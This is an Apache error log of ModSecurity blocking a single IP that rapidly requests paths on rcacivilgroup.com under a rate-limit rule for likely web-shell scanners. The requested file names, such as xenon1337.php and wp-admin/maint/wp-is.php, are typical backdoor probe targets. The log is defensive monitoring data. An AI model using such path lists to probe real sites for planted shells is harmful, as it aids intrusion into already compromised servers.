[Sun Apr 26 05:05:44.382465 2026] [:error] [pid 8385:tid 8443] [client 20.199.180.228:14348] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ae0sqDOy7_J84Wx3-oxTigAAAFM"]
[Sun Apr 26 05:05:44.872739 2026] [:error] [pid 8491:tid 8524] [client 20.199.180.228:14408] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ae0sqCq7I7e6CJooQM1-3AAAANg"]
[Sun Apr 26 05:05:45.427603 2026] [:error] [pid 8491:tid 8523] [client 20.199.180.228:65414] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ae0sqSq7I7e6CJooQM1-4AAAANc"]
[Sun Apr 26 05:05:45.976657 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:14417] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "ae0sqT3-0A3lxw9OXoDr3QAAAYU"]
[Sun Apr 26 05:05:46.507483 2026] [:error] [pid 41906:tid 41909] [client 20.199.180.228:65378] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luxe.php"] [unique_id "ae0sqj3-0A3lxw9OXoDr4wAAAYE"]
[Sun Apr 26 05:05:47.062709 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:14494] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luxe.php"] [unique_id "ae0sqz3-0A3lxw9OXoDr6gAAAY0"]
[Sun Apr 26 05:05:47.602940 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:14522] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luxe.php"] [unique_id "ae0sqz3-0A3lxw9OXoDr7wAAAYY"]
[Sun Apr 26 05:05:48.162967 2026] [:error] [pid 8390:tid 8464] [client 20.199.180.228:14456] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/luxe.php"] [unique_id "ae0srIGPtFK_i9p5yxQEAwAAAI0"]
[Sun Apr 26 05:05:48.723488 2026] [:error] [pid 8383:tid 8415] [client 20.199.180.228:14586] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "ae0srNFa2S3EsATMdWOzBAAAABI"]
[Sun Apr 26 05:05:49.411990 2026] [:error] [pid 8383:tid 8421] [client 20.199.180.228:10178] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "ae0srdFa2S3EsATMdWOzBQAAABg"]
[Sun Apr 26 05:05:49.946876 2026] [:error] [pid 31273:tid 31359] [client 20.199.180.228:14483] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "ae0srfhcNJEGrATcuEewZAAAAVQ"]
[Sun Apr 26 05:05:50.467897 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:65393] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp_ok.php"] [unique_id "ae0srqJIw2vjkleLIaB73QAAARI"]
[Sun Apr 26 05:05:51.020152 2026] [:error] [pid 41906:tid 41927] [client 20.199.180.228:14400] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ae0srz3-0A3lxw9OXoDsCQAAAZM"]
[Sun Apr 26 05:05:51.540169 2026] [:error] [pid 41906:tid 41924] [client 20.199.180.228:14458] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ae0srz3-0A3lxw9OXoDsEwAAAZA"]
[Sun Apr 26 05:05:52.101802 2026] [:error] [pid 8491:tid 8513] [client 20.199.180.228:14463] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ae0ssCq7I7e6CJooQM1_AAAAAM4"]
[Sun Apr 26 05:05:52.589116 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:14523] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ae0ssD3-0A3lxw9OXoDsHwAAAZI"]
[Sun Apr 26 05:05:53.083071 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:14418] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ae0ssT3-0A3lxw9OXoDsIwAAAYU"]
[Sun Apr 26 05:05:53.605368 2026] [:error] [pid 10315:tid 10332] [client 20.199.180.228:14459] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ae0ssaJIw2vjkleLIaB74QAAAQ8"]
[Sun Apr 26 05:05:54.185411 2026] [:error] [pid 10315:tid 10336] [client 20.199.180.228:14438] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ae0ssqJIw2vjkleLIaB74gAAARM"]
[Sun Apr 26 05:05:54.743457 2026] [:error] [pid 31273:tid 31351] [client 20.199.180.228:14424] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "ae0ssvhcNJEGrATcuEewbQAAAUw"]
[Sun Apr 26 05:05:55.265357 2026] [:error] [pid 41906:tid 41918] [client 20.199.180.228:14372] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ae0ssz3-0A3lxw9OXoDsOgAAAYo"]
[Sun Apr 26 05:05:55.806397 2026] [:error] [pid 8491:tid 8516] [client 20.199.180.228:14430] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ae0ssyq7I7e6CJooQM1_CAAAANE"]
[Sun Apr 26 05:05:56.384473 2026] [:error] [pid 10315:tid 10340] [client 20.199.180.228:14545] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ae0stKJIw2vjkleLIaB76wAAARc"]
[Sun Apr 26 05:05:56.938386 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:14345] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xtt.php"] [unique_id "ae0stD3-0A3lxw9OXoDsRwAAAYc"]
[Sun Apr 26 05:05:57.464628 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:14443] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "ae0stT3-0A3lxw9OXoDsUgAAAZI"]
[Sun Apr 26 05:05:57.960899 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:14490] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "ae0stT3-0A3lxw9OXoDsWgAAAYc"]
[Sun Apr 26 05:05:58.474461 2026] [:error] [pid 41906:tid 41931] [client 20.199.180.228:14457] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "ae0stj3-0A3lxw9OXoDsXwAAAZc"]
[Sun Apr 26 05:05:59.034555 2026] [:error] [pid 31273:tid 31345] [client 20.199.180.228:14392] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "ae0st_hcNJEGrATcuEewdQAAAUc"]
[Sun Apr 26 05:05:59.541439 2026] [:error] [pid 8491:tid 8524] [client 20.199.180.228:14371] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae0styq7I7e6CJooQM1_DgAAANg"]
[Sun Apr 26 05:06:00.112978 2026] [:error] [pid 8385:tid 8431] [client 20.199.180.228:14352] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae0suDOy7_J84Wx3-oxTkwAAAEc"]
[Sun Apr 26 05:06:00.644792 2026] [:error] [pid 8491:tid 8509] [client 20.199.180.228:14525] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae0suCq7I7e6CJooQM1_EQAAAMo"]
[Sun Apr 26 05:06:01.217244 2026] [:error] [pid 8491:tid 8518] [client 20.199.180.228:14512] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ae0suSq7I7e6CJooQM1_EgAAANM"]
[Sun Apr 26 05:06:01.727226 2026] [:error] [pid 8491:tid 8507] [client 20.199.180.228:14388] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zicgg.php"] [unique_id "ae0suSq7I7e6CJooQM1_FQAAAMg"]
[Sun Apr 26 05:06:02.281183 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:14474] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zicgg.php"] [unique_id "ae0suqJIw2vjkleLIaB79gAAARA"]
[Sun Apr 26 05:06:02.826669 2026] [:error] [pid 10315:tid 10318] [client 20.199.180.228:14513] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zicgg.php"] [unique_id "ae0suqJIw2vjkleLIaB79wAAAQE"]
[Sun Apr 26 05:06:03.406987 2026] [:error] [pid 8390:tid 8455] [client 20.199.180.228:14354] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zicgg.php"] [unique_id "ae0su4GPtFK_i9p5yxQEDAAAAIQ"]
[Sun Apr 26 05:06:03.964821 2026] [:error] [pid 8390:tid 8469] [client 20.199.180.228:14351] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pouhg.php"] [unique_id "ae0su4GPtFK_i9p5yxQEDgAAAJI"]
[Sun Apr 26 05:06:04.505480 2026] [:error] [pid 8390:tid 8473] [client 20.199.180.228:14489] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pouhg.php"] [unique_id "ae0svIGPtFK_i9p5yxQEDwAAAJY"]
[Sun Apr 26 05:06:05.067821 2026] [:error] [pid 10315:tid 10338] [client 20.199.180.228:14342] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pouhg.php"] [unique_id "ae0svaJIw2vjkleLIaB7-gAAARU"]
[Sun Apr 26 05:06:05.612724 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:14363] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pouhg.php"] [unique_id "ae0svaJIw2vjkleLIaB7-wAAARI"]
[Sun Apr 26 05:06:06.219404 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:14421] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ae0svj3-0A3lxw9OXoDskQAAAYc"]
[Sun Apr 26 05:06:06.734843 2026] [:error] [pid 8385:tid 8431] [client 20.199.180.228:65434] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ae0svjOy7_J84Wx3-oxTswAAAEc"]
[Sun Apr 26 05:06:07.340602 2026] [:error] [pid 8385:tid 8429] [client 20.199.180.228:14582] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ae0svzOy7_J84Wx3-oxTuQAAAEU"]
[Sun Apr 26 05:06:07.913224 2026] [:error] [pid 8385:tid 8446] [client 20.199.180.228:65455] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ae0svzOy7_J84Wx3-oxTvgAAAFY"]
[Sun Apr 26 05:06:08.482735 2026] [:error] [pid 10315:tid 10320] [client 20.199.180.228:14423] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "ae0swKJIw2vjkleLIaB8DQAAAQM"]
[Sun Apr 26 05:06:09.048646 2026] [:error] [pid 10315:tid 10340] [client 20.199.180.228:14509] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "ae0swaJIw2vjkleLIaB8DgAAARc"]
[Sun Apr 26 05:06:09.586577 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:14510] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "ae0swT3-0A3lxw9OXoDspwAAAYU"]
[Sun Apr 26 05:06:10.150083 2026] [:error] [pid 41906:tid 41924] [client 20.199.180.228:10190] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xenon1337.php"] [unique_id "ae0swj3-0A3lxw9OXoDsrwAAAZA"]
[Sun Apr 26 05:06:10.811105 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:14367] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ae0swj3-0A3lxw9OXoDsuAAAAY0"]
[Sun Apr 26 05:06:11.354221 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:14464] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ae0swz3-0A3lxw9OXoDsvAAAAY8"]
[Sun Apr 26 05:06:11.906347 2026] [:error] [pid 8390:tid 8451] [client 20.199.180.228:14406] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ae0sw4GPtFK_i9p5yxQEEgAAAIA"]
[Sun Apr 26 05:06:12.428608 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:10186] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "ae0sxKJIw2vjkleLIaB8FAAAARQ"]
[Sun Apr 26 05:06:12.921885 2026] [:error] [pid 8491:tid 8505] [client 20.199.180.228:14461] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ae0sxCq7I7e6CJooQM1_JgAAAMY"]
[Sun Apr 26 05:06:13.431508 2026] [:error] [pid 8491:tid 8513] [client 20.199.180.228:14341] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ae0sxSq7I7e6CJooQM1_KQAAAM4"]
[Sun Apr 26 05:06:14.012667 2026] [:error] [pid 10315:tid 10339] [client 20.199.180.228:14444] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ae0sxqJIw2vjkleLIaB8HQAAARY"]
[Sun Apr 26 05:06:14.542592 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:14584] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ae0sxj3-0A3lxw9OXoDsvwAAAY4"]
